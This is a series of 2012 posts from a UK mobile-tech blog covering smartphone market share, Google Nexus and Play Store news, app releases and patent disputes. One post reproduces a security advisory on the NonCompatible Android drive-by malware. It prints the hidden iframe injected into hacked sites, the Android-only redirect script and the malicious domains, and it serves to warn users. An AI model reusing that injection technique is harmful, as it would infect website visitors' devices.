Samsung may be reaping the rewards from its multiple Galaxy product ranges, but Apple is showing that the world can be dominated with just a few products. Latest research from Gartner shows that Apple has gained 7.9% market share of the entire global phone sales market, despite only have three iPhones on sale. The research firmly pegs Apple in third place behind Nokia and Samsung.

Total sales of mobile phones are down on last year, but smartphones continue to rise as more people choose smartphones over featurephones. Gartner also warns that whilst Apple’s iOS (and Windows Phone) offer different experiences, devices running on the Android platform would struggle to differentiate going forward with the main differential being price, especially in the mid-range.

“This is particularly true for smartphones based on the Android OS, where a strong commoditization trend is at work and most players are finding it hard to break the mould.”

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Apple holds 7.9% of global mobile phone market originally appeared on UK Mobile Review on May 17, 2012.

Latest research from ABI Research shows that the majority of users spend little to nothing on mobile apps, with more than 70% of users spending less than $7.50 per month. The research also found that the top 3% of spenders accounted for nearly 20% of all revenue generated.

“The median amount among the consumers who spend money on apps is much lower than the average, just $7.50 per month,” senior analyst Aapo Markkanen said. “This reflects the disproportionate role of big spenders as a revenue source.”

The research also found that the apps that generated the most revenue were often utility apps targetted at business professionals or iOS games with in-app purchases, as Apple discovered.

Whilst the research concerns the US market, it can be applied to app revenue generation globally and although not accurate, it can provide an indication of app revenues worldwide.

Here’s the full press release.

3% of Users Account for One-Fifth of All Money Spent on Mobile Apps

LONDON – May 14, 2012
?According to a US consumer survey conducted by ABI Research, about two-thirds of app users have spent money on an application on at least one occasion. Among these paying users, the mean spend was $14 per month. Behind the seemingly high average amount there are, however, some striking findings.

Senior analyst Aapo Markkanen explains, “The median amount among the consumers who spend money on apps is much lower than the average, just $7.50 per month. This reflects the disproportionate role of big spenders as a revenue source. The highest-spending 3% of all app users account for nearly 20% of the total spend, while over 70% spends either nothing or very little.”

The numbers also reflect certain trends in different app categories. Thus far, the releases that have best succeeded in making money have typically been utility apps often used for business purposes, or iOS games monetized through strings of in-app purchases. In both cases the money comes from a remarkably small base of customers. Is there anything developers can do to boost the conversion rate from free to premium?

Markkanen has two recommendations. “First, don’t get obsessed by mobile and apps, but remember also the web,” he adds. “Most of the successful app concepts either support, or are supported by, a web component. Second, see your product through a long-term lens, asking yourself what could convince your customers to still engage with the app in two years’ time. Evernote, for example, has excelled at both. It has skillfully combined the web and the mobile, and at the same time it has also managed to become a habit for many of its users. It demonstrates that the longer its customers stick around with a free version of an app, the likelier they’re going to convert to its premium version.”

Via

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Mobile apps research shows most people spend little to nothing originally appeared on UK Mobile Review on May 16, 2012.

Traditionally Google has only launched one Nexus branded handset per year, following the lead of Apple, but that could be set to change according to the Wall Street Journal. WSJ report that Google is planning a much bigger roll out of Nexus branded handsets this year with up to 5 manufacturers, including Motorola who are being purchased by Google, all launching Nexus branded stock Android smartphones.

Why is Google planning this? To ease growing unrest over the company’s planned acquisition of Motorola which Google partners believe could give the company unfair favouritism. Google is also hoping that the launch of a range of Nexus branded stock Android devices would mean that the hardware OEMs differentiate against each other based purely on hardware, and not the current hardware/UI differentiation status quo.

Google is also hoping that offering multiple manufacturers early access to the latest Android build will represent faster updates for non-Nexus devices and the WSJ also comments that Google could look to enforce the pure Android platform on all Android devices as the use of custom UIs often leads to slower updates and a poorer experience.

Google’s plan of attack isn’t exclusive to mobile smartphones either as the company could use the same concept to relaunch Android tablets. The new Nexus branded handsets would be sold directly through Google’s online store, network-free, unlocked and at a full price.

Source ~ Via

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Google to sell multiple Nexus branded devices later this year originally appeared on UK Mobile Review on May 16, 2012.

Google’s Play Store, formerly known as the Android Market, has crossed the 15 billion downloads milestone. Google confirmed to TechCrunch that they had crossed the milestone a few weeks ago whilst Apple’s App Store crossed the milestone in July 2011 and recently reached 25 billion downloads.

Both app marketplaces look set to continue their head to head race but Apple’s App Store, despite more downloads (1.25 billion versus 1 billion) looks to be slowing, with downloads falling 30% in March. Google’s Play Store currently has more than 500,000 apps whilst the App Store has crossed the 600,000 milestone.

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Google Play Store (Android Market) crosses 15 billion downloads originally appeared on UK Mobile Review on May 8, 2012.

There is no denying that mobile gaming is most definitely on the up and a new study has found that between iOS and Android, mobile gaming is worth up to five times more on Apple’s iPhone versus the spate of Android devices.

The study was conducted by research firm Newzoo, who looked at data from iOS and Android and conducted a survey amongst 17,000 people. Some of the data found  by the company includes 28% of smartphone gaming takes place on an iPhone whilst 60% of tablet gaming takes place on an iPad. The most interesting fact is that 91% of all mobile gaming revenue comes from in-app purchases whilst only 9% comes from the actual cost of the game.

Newzoo CEO, Peter Warmam, attributes the success of iOS to the in-app purchase experience:

When analyzing Apple’s successful monetization, there is one dominant factor outside of differences in audience demographics and preferences: Apple requires users to connect their credit card information directly to their account, thus creating a seamless purchase experience.”

Via

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Apple iPhone winning battle versus Android gamers originally appeared on UK Mobile Review on May 7, 2012.

The Android phone is under attack by a new form of hacking attempt. Please read the full information below and be wary of installing any unofficial products or apps.

Security Alert: Hacked Websites Serve Suspicious Android Apps (NonCompatible)

Hacked websites are frequently used to infect PCs with malware; however, today we have identified the first time hacked websites are being used to specifically target mobile devices.  Lookout is in the process of rolling out an update to protect against the new threat,  NonCompatible.

How it Works

In this specific attack (called NonCompatible), if a user visits a compromised website from an Android device, their web browser will automatically begin downloading an application—this process is commonly referred to as a drive by download.

When the suspicious application finishes downloading, the device will display a notification prompting the user to click on the notification to install the downloaded app.  In order to actually install the app to your phone, you must have the “Unknown sources” setting enabled (this feature is commonly referred to as “sideloading”).  If the device does not have the unknown sources setting enabled, they will not be affected by the application; however, if a user does have the unknown sources setting enabled, installing the app will result in their device becoming infected.

Technical details

Infected websites commonly have the following code inserted into the bottom of each page:
<iframe
style=”visibility: hidden; display: none; display: none;”
src=”hxxp://gaoanalitics.info/?id={1234567890-0000-DEAD-BEEF-133713371337}”></iframe>

We’re still in the process of assessing the full extent of infected sites; however, there are early indications that the number of affected sites could be numerous.

When a PC-based web browser accesses the site at gaoanalitics.info, a not found error is returned; however, if a web browser with the word “Android” in its user-agent header accesses the page, the following is returned:

<html><head></head><body><script  type=”text/javascript”>window.top.location.href = “hxxp://androidonlinefix.info/fix1.php”;</script></body></html>

This page causes the browser to immediately attempt to access the page at androidonlinefix.info.  Like the previous site, only browsers sending an Android User-agent string will trigger a download (all other browsers will show a blank page).  When visiting this page from an Android browser, the server returns an android application, causing an Android browser to automatically download it.

Technical Summary

Suspicious applications are currently served from the following sites:

·         gaoanalitics.info

·         androidonlinefix.info

Command and Control (C&C) domains include:

·         notcompatibleapp.eu

We’re still in the process of assessing the full extent of infected sites; however, there are early indications that the number of affected sites could be numerous.  As Lookout identifies the extent of infected websites, we will update this blog post.

The Lookout security team is actively investigating the infected websites and suspicious application.

Source

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Android Hacking Attack Alert originally appeared on UK Mobile Review on May 2, 2012.

Motorola Mobility has just announced the company’s first quarter 2012 financial results and things are looking quite bleak for the company.

Motorola Mobility, who are in the process of being acquired by Google, generated revenues totalling $3.1 billion, with a net operating loss of $85 million, which is a $24 million increase on the same quarter last year. Total shipments equalled 8.9 million, including 5.1 million smartphones but the figures conveniently don’t convey total sales figures.

Google paid $12.5 billion for Motorola Mobility and although not complete, if the company continue to haemorrhage money, parts of Motorola Mobility could be sold off by Google, signalling the end of one of the longest running technology companies and former kings of the mobile world.

Source

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Motorola Mobility releases Q1 financial results originally appeared on UK Mobile Review on May 2, 2012.

Google's car collects data for Google Street View

Being the largest search engine comes at a price with inevitable instances of privacy breaches and Google’s WiFi snooping is yet another example of this.

The latest iteration of this occurred when Google was photographing areas in its Street View car between 2008 and 2010, whilst also collecting data from unsecured wireless networks.

The engineer at Google who wrote the program which collected data from the wireless networks also informed at least two other people, whilst senior staff on the company’s Street View team were unaware of the collection of wireless data.

The US Federal Communications Commission’s full investigation has been released by Google, and it shows that one Google engineer, referred to as “Engineer Doe”, produced the program, told two other people and collected the data for use with other Google projects.

The FCC says that Google did not break US law concerning privacy and has fined the company $25,000 (£15,300).

Source

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Google staff aware of “Wi-Fi snooping” originally appeared on UK Mobile Review on April 30, 2012.

Back in 2010 Google had sold the Nexus One via its online store. However, Customers preferred the experience of purchase via their network or perhaps received a better deal as they came towards the end of their contract.

However, Google is set to try their hand again at the online business with the sale of the Galaxy Nexus.  It will be sold via its Google Play online store. The Galaxy Nexus will be the only smartphone and indeed the only device on sale in the Google Play store.

The Galaxy Nexus will cost $399 without a contract and will feature HSPA+. It is equipped to work on their the AT&T or T-Mobile networks. Spring along with Verizon have their own outlets for their LTE capable versions of the Nexus.

Google has learnt from its early days of online sales and now offer sales and technical questions to do with the Nexus and will be able to connect customers to Samsung where necessary.

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Google to Re-Open Online Store with Galaxy Nexus originally appeared on UK Mobile Review on April 24, 2012.

Google Drive has officially been revealed today with 5GB of free storage for everyone. Users who require more usage are able to upgrade to 25GB $2.49, 100GB $4.99 and 1TB $49.99. Customers who upgrade to a paid account will get an automatic storage of 25GB

Together, Google Docs and Google Drive allow real-time communication and file sharing on documents with an inbuilt search facility.

The service is to be seamless and Google says users can attach photos from one google app to another  coming soon.

Similar to Google’s Android, Drive is open platform and so we can look forward to third party applications allowing customers to extend the facilities via fax, video, and more.

Download Google Drive now.

Source

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Google Drive Announced Officially: 5GB Free originally appeared on UK Mobile Review on April 24, 2012.

Ever wanted to see what the future looks like for technology and mobile devices? Ever wanted an all-in-one device that could do EVERYTHING? Ever wanted to see something that could really change the future of telecommunications like Apple’s iPhone did in 2007?

Here it is… Google’s Project Glass. The video appeared a few weeks ago; is it real, is it fake? You decide (we already know the answer…)

So what do you think? Is it real? Has Google found the answer to Apple’s iPhone? Will the world of mobile technology change forever? We really want to hear what you think so let us know in the comments below, on Facebook or Twitter and anywhere else you see us!

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Introducing Google’s Project Glass originally appeared on UK Mobile Review on April 24, 2012.

We read this interesting article in which the user notes 5 reasons why they will never switch to an Android device.

I can relate and understand much of what they have said in response to the broken ecosystem that is becoming Android. They state that Android is only after your money. Well, as we all know, that is what all manufacturers are about, but that perhaps Android and Google are a bit more blatant. Perhaps, Apple makes you comfortable in their way of cosseting you and the subtle ways of tying you into the platform via your apps etc that its less easy to see their angle.

However, as the writer points out here, the Apple ecosystem is first class. At least it is in my opinion. The writer continues:

Apple’s ecosystem is first class. Everything I pay for and download on my Mac appears on my iPhone and iPad, almost like magic. I can buy music, apps, books, films, TV shows and more, and have them all instantly on all my devices without doing anything. If I want/need to I can sync my iDevices with my computer easily (wirelessly or not). As a consumer, that is a big selling point.

And the following is the main crux of the Android-Google problem at the moment and I agree with the writer that based on the following, what incentive is there to move to a newer device?

I had the original G1. Back in those days, it was one of 2-3 Google-powered handsets available. When an update was released, it came straight away, over-the-air. There was no waiting for months or years. Now, there are hundreds of different pieces of hardware all running Google’s OS. Motorola, HTC, Samsung, Huawei, ZTE, LG, Sony… the list goes on. Each OEM with different models varying from cheap and nasty to high specced powerhouses, all tied up with different carriers. All this results in a big mess when new software updates come.

The low-end phones won’t get updates because they can’t handle the new OS, meaning (in some cases) that the day you buy your device, it’s already outdated and can’t run the new software. One instance recently that tested my patience was Sony’s brand new Xperia S. Supposedly the phone that launches the Sony brand back in to the smartphone game. They’ve spent tons of money on cool TV ads and hardware design, but it ships with Android 2.3: Gingerbread (originally launched in 2010). Ice Cream Sandwich has been around since November, and yet, Sony couldn’t put it on its newest flagship device, and in fact, advises against upgrading to it.

I could count on one hand the number of phone models running ICS. That is not acceptable. What it says to customers (me) is that if you want to get the updates as soon as they’re available, get a Nexus device. Whether it’s Google to blame, the Manufacturers, or the Carriers, it doesn’t matter it’s a horrible state of affairs and they all need to get their shizzle together. With the iPhone, I know I’m good for 2-3 years of software updates and that I’ll get them as soon as they’re released, on every single one of my devices. Be it iPod, iPhone or iPad.

There have been several different articles this Sunday mainly involving roughly the same elements of where does Android go now? How can Google restructure its ecosystem?

What are you thoughts?

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Where Does Android Go From Here? originally appeared on UK Mobile Review on April 22, 2012.

The use of mobile data is generally available throughout most of the West. However in the emerging markets it is SMS  that is still the core service.

Google has today decided to offer its Google+ SMS service to a further 41 countries. The service has been available to the US and India for some time.

The service is now available to: Afghanistan, Algeria, Angola, Bahrain, Benin, Cambodia, Cameroon, Congo, Cote d’Ivoire, Egypt, Ghana, Guinea, Indonesia, Iraq, Israel, Jordan, Kazakhstan, Kenya, Kuwait, Kyrgyzstan, Liberia, Malawi, Malaysia, Maldives, Morocco, Mozambique, Niger, Nigeria, Pakistan, Philippines, Saudi Arabia, Senegal, Sierra Leone, Sri Lanka, Tanzania, Thailand, Tunisia, Uganda, Uzbekistan, Vietnam and Zambia.

Users can sign up and activate the service via their Google profile and then find out the local number needed for text via Google’s Support page.

Google+ with SMS offers similar services that Twitter and Facebook offers at present.

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Google+ SMS Released for 40+ Countries originally appeared on UK Mobile Review on April 20, 2012.

Have you been experiencing issues in the US with Google’s new Play Store? Wished you could pick up the phone and finally speak to someone instead of using online boards and email?

Well now you can as it seems that Google have set up the US Play Store with 24/7 technical phone support. That’s 24 hours a day, 7 days a week.

Even better, you won’t have to spend money on the call as you fill out the form and Google will call you. The next time you have an issue, head over to Google Play and all should hopefully be sorted soon!

Now Google PLEASE bring this to the UK. Pretty please?

Via ~ Via

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Google Play Store in the US; 24/7 support! originally appeared on UK Mobile Review on April 19, 2012.

Yup you read that right. As part of Oracle’s ongoing patent disputes with search engine giant Google, it has been revealed that Oracle had, at some point in time, considered buying RIM and/or Palm in a bid to develop its own smartphone.

In court today, Oracle CEO Larry Ellison said “We explored the idea [of creating a smartphone] and decided it would be a bad idea.”

His testimony also reveals that at the time of asking, RIM were asking for too much money for the company while the company decided against Palm as they felt the company would not bring enough to Oracle to be a worthwhile acquisition.

Oracle’s lawsuit with Google came about as they claim that Google is using technology owned by Oracle’s patents and copyrights. The lawsuit poses real problems for Google as whilst normally lawsuits in this industry between major companies end up with an out of court settlement, this lawsuit has ended up at trial and shows no signs of being resolved anytime soon.

Via

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Oracle considered buying Palm and RIM originally appeared on UK Mobile Review on April 18, 2012.

Google looks set to take on the Movie world with over 600 MGM titles.

Google’s YouTube’s 15 month movie rental service has added to its movie studio collection with MGM (Metro-Goldwyn-Mayer) library of over 600 movies. Famed titles include Rain Man, The Terminator, Robocop, Rocky and West Side Story.

“MGM is delighted to share our library of classic titles with YouTube and Google Play users,” John Bryan, MGM’s president of Domestic Television Distribution, toldMashable. “We are always looking for opportunities to bring our world-class library to new audiences in innovative ways, which is exactly what this partnership with Google delivers.”

The new titles are available to viewers in the U.S. and Canada and cost between $3.99 and $4.99

Source

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Google Set to add 600 New Movies to Youtube originally appeared on UK Mobile Review on April 17, 2012.

The court case between Apple and Motorola continues with the latest instalment from court.

In between creating and filing new patents, Apple appears to tread on the patents of others. An earlier court case in its patent war with Motorola Mobility Holdings Inc (MMI), meant Apple’s push email was banned in Germany. Today a regional court has upheld the ban and therefore the ban remains in force.

There will be no push email in Germany and customers have to rely on manually checking their email.

Apple will now be expected to come to some agreement with Motorola Mobility though no specified damages have as yet been suggested.

Apple will want to get its customers and one of its most popular services back on track as soon as possible.

It is unknown whether Motorola’s patents extend to other countries and whether Apple could see its services halted elsewhere.

Source

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Motorola Continue Hold on Apple Push Email originally appeared on UK Mobile Review on April 13, 2012.

Anyways what we know about the device that is likely to be called Boeing phone is that it will offer highly secure communication (which makes perfect sense). The requirement is so delicate and unique that the phone is believed to have a price value of 20K USD and may involve features like encryption, biometric access and physical locks. I wonder if Google Play will be available on the device.

Your next question would be? Why is Boeing even involved in this kind of service. Well, the company has previously offered its services to the military and also has expertise in the telecommunication industry. Let’s see if the Boeing Phone can get off to a flier. Any predictions? Anyone?

Via

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Boeing wants Android and not iPhone originally appeared on UK Mobile Review on April 13, 2012.

The arrival of Angry Birds Space and its in-app purchase may have had you believing that it was all over with the basic Angry Birds game, but this is not so.

Angry Birds has lived for a long time on iOS devices and  has received numerous updates to keep us happy and entertained.

But, Angry Birds does not live on iOS alone and can be found on most of the major operating systems including the popular Android. A little later than the iOS arrive, Angry Birds Surf & Turf has arrived for Android. The new update brings 15 new levels for your to enjoy while relaxing in the sun, at the beach or indoors.

Download it now from the Google Play Store

Source

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Angry Birds Surf & Turf for Android Hits the Shores originally appeared on UK Mobile Review on April 13, 2012.

Google is well on its way to producing a new tablet ready for a release date of June according to latest reports.

The Google Nexus Tablet is expected to arrive with a 7 inch display and will carry the trademarked Google branding on it. Rumours are that the device will be a Motorola manufactured tablet with a Tegra 3 Processor.

Not much else is known about the mysterious tablet as yet though an image shows the device running Android 4.0, Ice Cream Sandwich.

No definitive prices have been given for the forthcoming device and so it is a watch, wait and see for the moment. But no doubt there will be more sightings and glimpses of the device in the future and we will bring you more on this, as soon as we have it.

Source

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Google Nexus Tablet Forecast for June originally appeared on UK Mobile Review on April 13, 2012.

Unlike his predecessor, Nokia’s CEO Stephen Elop is not media-shy, this time talking to a Chinese newspaper where he says that multi-core mobile processors are a waste of battery life.

Yangcheng Evening News quotes Elop as having said:

“The so-called dual-core, quad-core mobile phones can only waste batteries, but not be useful for consumers all the time.”

Nokia’s current adopted OS, Microsoft’s Windows Phone, does not support multi-core processor and Elop claims that the company’s single-core flagship, the Lumia 900, has not been beaten (in Microsoft’s Smoked by Windows Phone campaign) by the iPhone or an Android smartphone, despite the plethora of dual and quad-core processors found in those smartphones.

Elop is most definitely not media-shy, having been interviewed several times with the result usually being some form of war of words against a rival product or OS. Whilst it’s not the best way to do things, it’s great to see Nokia’s leader fighting back against “unjust” claims.

Read ~ Via

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Nokia CEO Stephen Elop; multi-core processors a waste of battery life originally appeared on UK Mobile Review on April 13, 2012.

The big four network carriers in the US, Verizon, AT&T, Sprint and T-Mobile, have today announced plans to introduce a database containing the IMEI (identification) numbers of stolen mobile devices.

One of the biggest problems that affects mobile users worldwide is stolen phones, of which there are growing numbers, and the use of them afterwards. The UK operates a national crime database which disables the use of any handset listed as stolen (or lost even) on any UK network. However, these devices work freely outside the UK.

With the US’s top four carriers catering for around 90% of mobile device usage in the US, the idea of a combined database makes perfect sense and should prohibit the use of those devices on any of the four carriers. The combined database should launch within six months and there are plans to make this into a national database within 18 months, disabling the use of any of those devices on any US network. The plans are being backed by CTIA.

There are four voluntary industry commitments in place in the US, which address the issue of stolen devices:

1. Implement databases to prevent reactivation of stolen smartphones.
2. (A) Notify consumers of features to secure/lock smartphones with passwords.
   (B) Educate consumers about features to secure/lock smartphones with passwords.
3. Educate consumers about applications to remotely lock/locate/erase data from smartphones.
4. Educate consumers about smartphone theft, protections and preventative measures.

The plans are sure to be a great deterrent against mobile phone theft and this could eventually lead to cross-Atlantic (or even global) co-operation to prevent the use of stolen smartphones around the world.

More on this when we get it.

Source ~ Via

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U.S. to go the way of the UK with stolen phone database originally appeared on UK Mobile Review on April 10, 2012.

6 days after releasing Instagram for Android, the download continues at breaking speed.

At one day old, Instagram had been downloaded a million times pronouncing it an “instasuccess”. Instagram for Android now stands in third place as the most popular free app on Google Play and most popular app which is not made by Google.

It’s success cannot be accurately measured as instagram appears to have broken new boundaries. Instagram continues to build on its success with its recently purchase by Facebook.

According to Bloomberg, the app has been downloaded more than 30 million times across the operating systems of Android and iOS and already has a following of some 30 million users.

It is likely that the impressive momentum of Instagram on Android prompted the $1 billion price tag.

Source

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Instagram Hits 5 Million Downloads on Android originally appeared on UK Mobile Review on April 10, 2012.

So why this change of plans? Well, sources aware of the finer project details reveal that Google was all set for unleashing their first ever branded tablet in May but decided to delay the launch to tweak some design related stuff in an effort to lower its price from $249 to probably the $149 – $199 range. This lowering price effort is obviously to better combat the Amazon Kindle Fire which comes with a price tag of $199, not to forget the mini iPad which may or may not fall in the same price range.

A quick specs reminder. Nexus Tablet, with Asus its proud manufacturer, currently houses a quad core processor, 7 inch screen and offers only WiFi connectivity.

No related posts.

Nexus Tablet launch delayed till July originally appeared on UK Mobile Review on April 8, 2012.

The HTC One X has long been desired since its announcement at Mobile World Congress and it finally hit the shelves of the UK two days ago. Eagerly, I took my device from O2 home and charged it. Installed all my apps and went off to enjoy my day today… Only to find, once I had signed into Instagram, the harrowing message below:

and so…. we are back to waiting again. I am disappointed that Instagram is not supported in the newest of devices. I am not sure quite how the procedure works. Whether they need information from HTC before they can set app to recognise the device or what. Whatever the reason I am very unhappy and hope that HTC and Instagram will work together to resolve the difference as soon as possible. The HTC One S and HTC One V are soon to accompany the HTC One X’s release so this matter will need to be sorted.

Fragmentation of Google’s Android system is already a problem for developers and with Instagram one of the biggest applications on Apple’s iOS, there was great demand for it to be ported over to the Android system. It will surely be a bad precedence if now, only certain Android devices could use it and certain other Androids unable to make facility of the application.

Hopefully, it will not be too long before we get Instagram for the HTC One X. If not? I am not sure if I can live without it on Android, when I have already been enjoying its port from iOS. In addition, will this be the first of other apps that are not compatible with the new HTC devices?

Have you come across any other other apps that do not work on your HTC One X?

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No Instagram for HTC One X Users: Does this Set a Precedent for other Apps originally appeared on UK Mobile Review on April 7, 2012.

The highly waited on Angry Birds Space arrived a short while ago and players have been desperate to play only to find themselves frustrated by advertising – a sign of things to come for more apps and games I guess.

Today Angry Birds Space Premium blasts on to the scene. This new version gets of the advertising and you get a new set of Angry Birds.

The new Angry Birds Space Premium appears to be only available for Android users as I cannot see a version for iOS. It is possible to upgrade to the premium version from the free version but note that you will lose all your previous scores.

Angry Birds Space Premium costs $0.99. Download your copy from the Google Play Store.

Source

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Angry Birds Space Premium Blasts on to the Scene originally appeared on UK Mobile Review on April 7, 2012.

Instagram’s recent launch on to Android devices has not halted with more and more people enjoying the new application.

Instagram has already issued an update on the second day of Instagram’s release and today see’s a new update. This version brings it to 1.0.3 and brings you ease of installation to both your SD card instead of taking up space on your internal memory. In addition, it fixes a mute bug amongst several but most important is support for tablets.

Instagram has seen over 50 million downloads on its first day of introduction to the Android operating system. Instagram has yet to come to Windows Phone and no mention of negotiations has occurred as yet but we do hope that someone is cooperating along the line. It would be a shame for us to return to the days of apps being tied to only one operating system alone. The launch of new apps across operating systems helps both developers and consumers alike giving them freedom of choice.

Source

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Instagram for Android Tablets Now Available originally appeared on UK Mobile Review on April 7, 2012.

Yup my favourite game of pretty much all time is heading to Android on 11th April meaning I will be snapping it up, installing it on my One X and not doing anything for the next three months!

I’ve been playing it on my iPad since its launch and am now 8 seasons in with my team (they wear red… guess who!). Needless to say, I’ve won pretty much everything (tooting my own horn here but hey it happens lol) and cannot wait to start all over again on my new One X!

Seriously though, this is simply the best for any football nut (like me) and as someone commented to me at my tube station in London yesterday (this is actually true, I was playing Football Manager on the iPad and here’s what the guy had to say):

Football Manager on the iPad whilst walking through a train station in London at peak time; that’s what I call DEDICATION!

The game will launch for £6.99 on Android via the Google Play Store (still really hate this name!) and will feature 12 leagues and full control over transfers, training and tactics. To install it, you’ll need a device running Android 2.2 or above!

“Since the first release of Football Manager Handheld for mobiles a couple of years ago, the most asked question on social networks has been ‘When is it coming to Android?’,” says Miles Jacobson, Studio Director at Sports Interactive. “Now, we can reveal the answer.”

Source ~ Via

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(Party time): Football Manager Handheld heading to Android originally appeared on UK Mobile Review on April 7, 2012.

Google has been keen on keeping the updates to Gmail to Android devices.

The new update brings Android 4.0 Ice Cream Sandwich features to Honeycombe Android 3.2 smartphones.

The new features include swiping between conversations, quick access to recent labels, custom notifications, and 30 days with of syncing for offline reading.

You can grab  your newest update for free by heading one to the Google Play Store.

Source

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Gmail for Android Updated for Honeycomb devices originally appeared on UK Mobile Review on April 4, 2012.

However, remaining logged-in can have some unfortunate results. You may find yourself purchasing product that you had no intention of buying. To prevent this, you can set a PIN code on your device.

To set a PIN code you need to do the following:

1. Open the Google Play Store app
2. Press Menu and then touchSettings
3. Touch “Set or change PIN”
4. Enter a PIN code, and touch OK
5. Re-enter your PIN to confirm
6. Check the box for “Use PIN for purchases

All future purchases for an app, book, rent a movie or to make an in-app purchase will require you to enter your PIN code before you can proceed with your purchase.

If you tire of the extra security or you need to remove or reset your PIN code, you will need to complete the following process:

To change or remove your PIN code:

1. Open the Google Play Store app
2. Press Menu and then touchSettings
3. Touch “Unlock settings” and enter your existing PIN code
4. Touch “Set or change PIN”
5. Either enter a new PIN, or touchRemove PIN

To reset your PIN code if you’ve forgotten it:

1. From the Android homescreen, press Menu and then touchSettings
2. Go to Applications > Manage Applications > All
3. Scroll down and select the Play Store app
4. Touch Clear Data

Your Google Play Store app will now be reset.

NOTE: The PIN code is only intended to protect you from unintentional purchases. To secure your phone itself, for security purposes you should set a lock code on your screen.

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How to: Set a PIN code for Google Play Store originally appeared on UK Mobile Review on April 4, 2012.

People are very excited and twitter is awash with the news of people hurrying to add the new app to their devices.

Unfortunately I am out and left my android device on charge at home.

I am bitterly disappointed and jealous of every android owner on earth who has already been lucky enough to download one of the greatest applications for camera filters and photographic sharing community.

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Instagram for Android. Download Now originally appeared on UK Mobile Review on April 3, 2012.

The image above comes via PocketNow, who aren’t certain but believe it to be the new tablet planned between Google and Asus, which should feature a 7-inch display, Android OS and super cheap sub-$200 price point to compete with the Apple iPad and Amazon Kindle Fire.

The tablet looks super cool and futuristic so it would be great to see it become a reality!

Source: PocketNow

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Is this Google’s Nexus Tablet? originally appeared on UK Mobile Review on April 3, 2012.

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Google: Nexus Tablet is a real thing? originally appeared on UK Mobile Review on April 2, 2012.

The bad news doesn’t end here. The word on the street is that the Internet giant is thinking of handing over its search business duties to the search engine giants, Google.

Yahoo is expected to hold a meeting with Microsoft in which the providers of the Yahoo mail service will talk the Redmondians into changing its current search and advertising partnership.

While we don’t have anything official yet, it seems that Yahoo will replace Bing with Google. If this happens, it would hurt Microsoft big time as the makers of the Windows plans of eating into Google’s market share through Yahoo and Bing will go wastde. How will Yahoo achieve this is a big question as well since the Yahoo Microsoft search partnership is a 10 year journey with almost 8 years still remaining?

Do you want to see Yahoo ditching Microsoft for Google? Sound off in the comments section.

No related posts.

Microsoft Yahoo search partnership about to end originally appeared on UK Mobile Review on March 30, 2012.

In an attempt to fight the Apple impact, Google looks set to offer new collaborations via online enterprises.

Google’s earlier attempts to sell it smartphones, Google’s Nexus One, on via its own online site has not been successful but google looks set to try again by selling its cobranded tablets via its own online store to rival that of Apple and Amazon. Google will sell its co-branded tablets amongst others from a variety of manufacturers. Its existing partners will be responsible for the hardware, with the likes of Samsung Electronics Co. and AsusTeK Computer in the front row.

The Taiwan-based Asus co-branded tablet may be the first to be sold via the online store later this year.

No specific details about the project has been given to date but it is expected that with the release of its next Android software, Jelly Bean, Google will make an announcement.

Google’s purchase of Motorola Mobility Holdings for $12.5 billion will help Google to manufacturer its own tablets and these will also be offered via the online store.

A Google spokesman declined to comment, as did an Asus spokeswoman.

Source

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Googles to take on Apple with its own online store originally appeared on UK Mobile Review on March 30, 2012.

The CEO obviously didn’t take the Nexus Tablet name while talking about the Tegra 3 processor allowing tablets to go as cheap as $199. What he did say was the 199 dollar price point would be achieved by removing expensive tablet components worth 150 dollars like memory out of the system.

My only concern here is about the screen quality? Will there be low resolution screens or will the compromise involve a not so high resolution camera? Place your guesses in the comments section.

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NVIDIA CEO hints at a quad core processor for Nexus Tablet originally appeared on UK Mobile Review on March 29, 2012.

I’m not going to lie, Google’s rebranding of the Android Market to the Google Play Store really does seem pointless but you can see why Google has done it.

Some users have found out that apps, that they hard forked out their hard earned money for in the Android Market, had gone missing when Google rebranded the market. The same users were getting errors when trying to access the app directly.

Rest assured, Google is looking into the matter having added it to their Known Issues pages. We’ve not had the bug ourselves but it’s definitely an issue if it affects you. Hopefully Google will roll out a fix very soon.

Source ~ Via

Let us know in the comments if this bug has affected you; if so, has it been resolved yet? Let us know!!

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Android Market / Google PlayStore apps gone missing? Google looking into it originally appeared on UK Mobile Review on March 29, 2012.

We know that Samsung’s Galaxy Note phablet is set to get Android Ice Cream Sandwich later this year and it looks like the company’s design team know what it might look like.

Samsung USA uploaded the picture above to their Facebook page and it clearly shows the Galaxy Note running Ice Cream Sandwich.

Although no date is known, it’s good to get an idea of what the update could look like.

We’re hard at work reviewing the Galaxy Note and we’ll be bringing you our review very soon!

Via

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Samsung show off what Galaxy Note Ice Cream Sandwich looks like originally appeared on UK Mobile Review on March 27, 2012.

Well you are always asking for more ICS so what better than to put 2 of he hottest ICS devices along with the best Windows Phone device out there on a sandwich ?

So what do you think of these 3 titans ? let us know in the comments below.

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Smartphone Sandwich – Lumia 900 / Galaxy Nexus / Huawei Ascend D Quad originally appeared on UK Mobile Review on March 27, 2012.

So here we have a quick comparision of the New Huawei Ascend D Quad and the Samsung Galaxy Nexus.

Both of these beats are rocking ICS but the Huawei of course is running a very impressive Quad Core CPU!

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Huawei Ascend D Quad and the Samsung Galaxy Nexus Hands On originally appeared on UK Mobile Review on March 27, 2012.